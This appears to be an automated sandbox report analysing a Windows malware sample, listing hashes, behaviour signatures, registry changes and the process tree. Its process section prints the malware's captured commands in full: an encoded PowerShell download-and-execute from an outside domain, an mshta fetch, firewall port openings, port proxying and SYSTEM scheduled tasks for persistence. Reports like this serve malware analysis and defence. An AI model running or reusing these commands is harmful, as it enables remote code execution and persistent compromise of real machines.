Analysis
-
max time kernel
151s -
max time network
152s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
05-05-2021 03:09
Static task
static1
Behavioral task
behavioral1
Sample
NFgODbNY.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
NFgODbNY.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
NFgODbNY.exe
-
Size
6.6MB
-
MD5
5f6a74e286c98bbe45a6a667026813bc
-
SHA1
5d17945ebbb46e1f73ce15a8a110e0e1b6c165da
-
SHA256
863853bdbdb6ed3d644305d866286c1fa25255e62851f3d7bee5f3e2bcefaa98
-
SHA512
0f1f2e000dc7f0f7fff435fba887c19a9698e7004bea64baddafd17d96e4bbe1266f6ce9a27296d220ef7a6b17fab65e787e01e6a1e2aff4ea0fa1d58f84a701
Malware Config
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 20 IoCs
pid Process 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe 1160 NFgODbNY.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created \??\c:\windows\kllkstmI.exe cmd.exe File opened for modification \??\c:\windows\kllkstmI.exe cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2292 schtasks.exe 1188 schtasks.exe 2108 schtasks.exe -
Gathers network information 2 TTPs 3 IoCs
Uses commandline utility to view network configuration.
pid Process 280 ipconfig.exe 912 ipconfig.exe 1956 netstat.exe -
Modifies data under HKEY_USERS 33 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software WScript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WScript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" cmd.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WScript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft WScript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B155BDF8-02F0-451E-9A26-AE317CFD7779} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 01000000000000007099c3cc5c41d701 WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ cmd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" WScript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings WScript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host WScript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" cmd.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000090b2b7cc5c41d701 WScript.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1160 NFgODbNY.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1288 WMIC.exe Token: SeSecurityPrivilege 1288 WMIC.exe Token: SeTakeOwnershipPrivilege 1288 WMIC.exe Token: SeLoadDriverPrivilege 1288 WMIC.exe Token: SeSystemProfilePrivilege 1288 WMIC.exe Token: SeSystemtimePrivilege 1288 WMIC.exe Token: SeProfSingleProcessPrivilege 1288 WMIC.exe Token: SeIncBasePriorityPrivilege 1288 WMIC.exe Token: SeCreatePagefilePrivilege 1288 WMIC.exe Token: SeBackupPrivilege 1288 WMIC.exe Token: SeRestorePrivilege 1288 WMIC.exe Token: SeShutdownPrivilege 1288 WMIC.exe Token: SeDebugPrivilege 1288 WMIC.exe Token: SeSystemEnvironmentPrivilege 1288 WMIC.exe Token: SeRemoteShutdownPrivilege 1288 WMIC.exe Token: SeUndockPrivilege 1288 WMIC.exe Token: SeManageVolumePrivilege 1288 WMIC.exe Token: 33 1288 WMIC.exe Token: 34 1288 WMIC.exe Token: 35 1288 WMIC.exe Token: SeIncreaseQuotaPrivilege 1288 WMIC.exe Token: SeSecurityPrivilege 1288 WMIC.exe Token: SeTakeOwnershipPrivilege 1288 WMIC.exe Token: SeLoadDriverPrivilege 1288 WMIC.exe Token: SeSystemProfilePrivilege 1288 WMIC.exe Token: SeSystemtimePrivilege 1288 WMIC.exe Token: SeProfSingleProcessPrivilege 1288 WMIC.exe Token: SeIncBasePriorityPrivilege 1288 WMIC.exe Token: SeCreatePagefilePrivilege 1288 WMIC.exe Token: SeBackupPrivilege 1288 WMIC.exe Token: SeRestorePrivilege 1288 WMIC.exe Token: SeShutdownPrivilege 1288 WMIC.exe Token: SeDebugPrivilege 1288 WMIC.exe Token: SeSystemEnvironmentPrivilege 1288 WMIC.exe Token: SeRemoteShutdownPrivilege 1288 WMIC.exe Token: SeUndockPrivilege 1288 WMIC.exe Token: SeManageVolumePrivilege 1288 WMIC.exe Token: 33 1288 WMIC.exe Token: 34 1288 WMIC.exe Token: 35 1288 WMIC.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeDebugPrivilege 1956 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1096 wrote to memory of 1160 1096 NFgODbNY.exe 27 PID 1096 wrote to memory of 1160 1096 NFgODbNY.exe 27 PID 1096 wrote to memory of 1160 1096 NFgODbNY.exe 27 PID 1096 wrote to memory of 1160 1096 NFgODbNY.exe 27 PID 1160 wrote to memory of 1148 1160 NFgODbNY.exe 31 PID 1160 wrote to memory of 1148 1160 NFgODbNY.exe 31 PID 1160 wrote to memory of 1148 1160 NFgODbNY.exe 31 PID 1160 wrote to memory of 1148 1160 NFgODbNY.exe 31 PID 1148 wrote to memory of 1288 1148 cmd.exe 32 PID 1148 wrote to memory of 1288 1148 cmd.exe 32 PID 1148 wrote to memory of 1288 1148 cmd.exe 32 PID 1148 wrote to memory of 1288 1148 cmd.exe 32 PID 1160 wrote to memory of 816 1160 NFgODbNY.exe 34 PID 1160 wrote to memory of 816 1160 NFgODbNY.exe 34 PID 1160 wrote to memory of 816 1160 NFgODbNY.exe 34 PID 1160 wrote to memory of 816 1160 NFgODbNY.exe 34 PID 816 wrote to memory of 812 816 cmd.exe 35 PID 816 wrote to memory of 812 816 cmd.exe 35 PID 816 wrote to memory of 812 816 cmd.exe 35 PID 816 wrote to memory of 812 816 cmd.exe 35 PID 812 wrote to memory of 652 812 net.exe 36 PID 812 wrote to memory of 652 812 net.exe 36 PID 812 wrote to memory of 652 812 net.exe 36 PID 812 wrote to memory of 652 812 net.exe 36 PID 1160 wrote to memory of 780 1160 NFgODbNY.exe 37 PID 1160 wrote to memory of 780 1160 NFgODbNY.exe 37 PID 1160 wrote to memory of 780 1160 NFgODbNY.exe 37 PID 1160 wrote to memory of 780 1160 NFgODbNY.exe 37 PID 780 wrote to memory of 324 780 cmd.exe 38 PID 780 wrote to memory of 324 780 cmd.exe 38 PID 780 wrote to memory of 324 780 cmd.exe 38 PID 780 wrote to memory of 324 780 cmd.exe 38 PID 324 wrote to memory of 1136 324 net.exe 39 PID 324 wrote to memory of 1136 324 net.exe 39 PID 324 wrote to memory of 1136 324 net.exe 39 PID 324 wrote to memory of 1136 324 net.exe 39 PID 1160 wrote to memory of 1872 1160 NFgODbNY.exe 40 PID 1160 wrote to memory of 1872 1160 NFgODbNY.exe 40 PID 1160 wrote to memory of 1872 1160 NFgODbNY.exe 40 PID 1160 wrote to memory of 1872 1160 NFgODbNY.exe 40 PID 1160 wrote to memory of 1056 1160 NFgODbNY.exe 41 PID 1160 wrote to memory of 1056 1160 NFgODbNY.exe 41 PID 1160 wrote to memory of 1056 1160 NFgODbNY.exe 41 PID 1160 wrote to memory of 1056 1160 NFgODbNY.exe 41 PID 1056 wrote to memory of 280 1056 cmd.exe 42 PID 1056 wrote to memory of 280 1056 cmd.exe 42 PID 1056 wrote to memory of 280 1056 cmd.exe 42 PID 1056 wrote to memory of 280 1056 cmd.exe 42 PID 1160 wrote to memory of 912 1160 NFgODbNY.exe 43 PID 1160 wrote to memory of 912 1160 NFgODbNY.exe 43 PID 1160 wrote to memory of 912 1160 NFgODbNY.exe 43 PID 1160 wrote to memory of 912 1160 NFgODbNY.exe 43 PID 1160 wrote to memory of 1956 1160 NFgODbNY.exe 44 PID 1160 wrote to memory of 1956 1160 NFgODbNY.exe 44 PID 1160 wrote to memory of 1956 1160 NFgODbNY.exe 44 PID 1160 wrote to memory of 1956 1160 NFgODbNY.exe 44 PID 1288 wrote to memory of 988 1288 zktFvjRg.exe 46 PID 1288 wrote to memory of 988 1288 zktFvjRg.exe 46 PID 1288 wrote to memory of 988 1288 zktFvjRg.exe 46 PID 1288 wrote to memory of 988 1288 zktFvjRg.exe 46 PID 988 wrote to memory of 1620 988 cmd.exe 48 PID 988 wrote to memory of 1620 988 cmd.exe 48 PID 988 wrote to memory of 1620 988 cmd.exe 48 PID 988 wrote to memory of 1620 988 cmd.exe 48
Processes
-
C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe"C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe"C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\SysWOW64\cmd.execmd /c wmic ntdomain get domainname3⤵
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic ntdomain get domainname4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1288
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net localgroup administrators3⤵
- Suspicious use of WriteProcessMemory
PID:816 -
C:\Windows\SysWOW64\net.exenet localgroup administrators4⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators5⤵PID:652
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net group "domain admins" /domain3⤵
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\SysWOW64\net.exenet group "domain admins" /domain4⤵
- Suspicious use of WriteProcessMemory
PID:324 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 group "domain admins" /domain5⤵PID:1136
-
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /all3⤵
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /all4⤵
- Gathers network information
PID:280
-
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:912
-
-
C:\Windows\SysWOW64\netstat.exenetstat -na3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1956
-
-
-
C:\Windows\zktFvjRg.exeC:\Windows\zktFvjRg.exe1⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\SysWOW64\cmd.execmd /c call "c:\windows\temp\tmp.vbs"2⤵
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"3⤵
- Modifies data under HKEY_USERS
PID:1620 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo gLzdLkSX >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53© /y c:\windows\temp\svchost.exe c:\windows\kllkstmI.exe&move /y c:\windows\temp\dig.exe c:\windows\CXabV.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn kllkstmI /tr "C:\Windows\kllkstmI.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\DnNkjF" /tr "c:\windows\CXabV.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pMRBKYMNO"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\CXabV.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\kllkstmI.exe"&schtasks /run /TN escan)4⤵
- Drops file in Windows directory
PID:2016 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening tcp 65533 DNSd5⤵
- Modifies data under HKEY_USERS
PID:1660
-
-
C:\Windows\SysWOW64\netsh.exenetsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=535⤵
- Modifies data under HKEY_USERS
PID:1148
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F5⤵
- Creates scheduled task(s)
PID:2292
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn kllkstmI /tr "C:\Windows\kllkstmI.exe" /F5⤵
- Creates scheduled task(s)
PID:1188
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\DnNkjF" /tr "c:\windows\CXabV.exe" /F5⤵
- Creates scheduled task(s)
PID:2108
-
-
-
-
-
C:\Windows\KnmbjNuc.exeC:\Windows\KnmbjNuc.exe1⤵PID:2160